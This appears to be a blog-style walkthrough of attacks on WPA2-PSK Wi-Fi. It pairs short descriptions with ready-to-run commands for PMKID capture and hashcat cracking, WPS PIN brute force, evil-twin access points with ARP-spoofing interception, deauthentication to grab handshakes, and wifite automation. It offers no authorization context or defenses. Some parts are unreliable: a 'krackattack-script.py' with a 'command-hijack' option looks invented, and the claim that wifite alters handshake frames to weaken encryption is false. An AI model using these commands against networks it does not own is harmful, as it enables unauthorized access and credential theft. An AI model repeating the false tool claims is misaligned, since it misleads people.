Modern attackers have refined their approach to capturing authentication credentials by utilizing enhanced PMKID attacks and optimizing 4-way handshake captures. By employing tools like hcxdumptool
and hashcat
, adversaries can efficiently gather and process authentication data without the necessity of client association.
# Step 1: Capture PMKID
sudo hcxdumptool -i wlan0mon -o pmkid_capture.pcapng --enable_status=1
# Step 2: Convert PMKID to hashcat format
hcxpcapngtool -z pmkid_hashes.hc22000 pmkid_capture.pcapng
# Step 3: Crack the captured hashes using hashcat
hashcat -m 22000 pmkid_hashes.hc22000 /path/to/wordlist.txt
The KRACK (Key Reinstallation Attack) remains a potent vulnerability in WPA2 protocols. Attackers have developed sophisticated scripts that automate nonce reuse and key reinstallation processes, effectively decrypting transmitted data and injecting malicious packets.
# Execute KRACK attack using automated script
sudo krackattack-script.py -i wlan0mon --target-bssid AA:BB:CC:DD:EE:FF --command-hijack
With the advent of powerful GPU clusters and optimized hashcat implementations, attackers can perform dictionary and brute-force attacks at unprecedented speeds. Utilizing curated wordlists and rule-based mangling techniques, these attacks can efficiently guess billions of passphrases in a fraction of the time.
# Capture the 4-way handshake
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake_capture wlan0mon
# Perform a brute-force attack using hashcat with GPU acceleration
hashcat -m 22000 handshake_capture.hc22000 /path/to/wordlist.txt -r /path/to/rules/best64.rule --force
Wi-Fi Protected Setup (WPS) remains a critical vulnerability vector. Attackers exploit weaknesses in the WPS PIN mechanism to bypass the pre-shared key entirely, gaining unauthorized access to the network.
# Initiate WPS brute-force attack using Reaver
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv
# Alternatively, use Bully for WPS exploitation
bully -b AA:BB:CC:DD:EE:FF -c 6 -S -F -B -v 4 wlan0mon
Evil Twin attacks involve setting up rogue access points that mimic legitimate networks. By tricking clients into connecting, attackers can capture credentials, inject malicious packets, and perform man-in-the-middle (MITM) attacks.
# Create a rogue AP using airbase-ng
airbase-ng -e "Legitimate_SSID" -c 6 wlan0mon
# Perform MITM attack using Ettercap
ettercap -T -i wlan0mon -M arp /192.168.1.100/ /192.168.1.1/
By sending deauthentication frames, attackers can force clients to disconnect and reconnect to the access point, facilitating the capture of the crucial 4-way handshake necessary for offline password cracking.
# Deauthenticate clients to trigger handshake capture
aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
# Capture the handshake using airodump-ng
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake_capture wlan0mon
Rainbow table attacks allow attackers to crack WPA2-PSK passwords more efficiently by using precomputed tables of hashed passwords. Tools like cowpatty
enable rapid comparison against captured handshakes.
# Crack WPA2 handshake using cowpatty with rainbow tables
cowpatty -r handshake_capture.cap -f /path/to/rainbow_table -s "Legitimate_SSID"
Beyond technical exploits, social engineering remains a potent method for extracting WPA2-PSK credentials. Attackers create convincing phishing campaigns or deceptive interfaces that trick users into divulging their network passwords.
Attackers increasingly utilize cloud-based services to distribute the computational workload of password cracking. By offloading tasks to powerful servers and GPU clusters, they can accelerate the cracking process and handle large volumes of captured authentication data.
Attackers have developed techniques to manipulate the captured handshake frames, introducing anomalies that can weaken the encryption or facilitate easier cracking of the PSK. Tools like wifite
automate this process, enhancing the exploit's effectiveness.
# Manipulate handshake frames using wifite
wifite --dict /path/to/wordlist.txt --kill --mac --random -i wlan0mon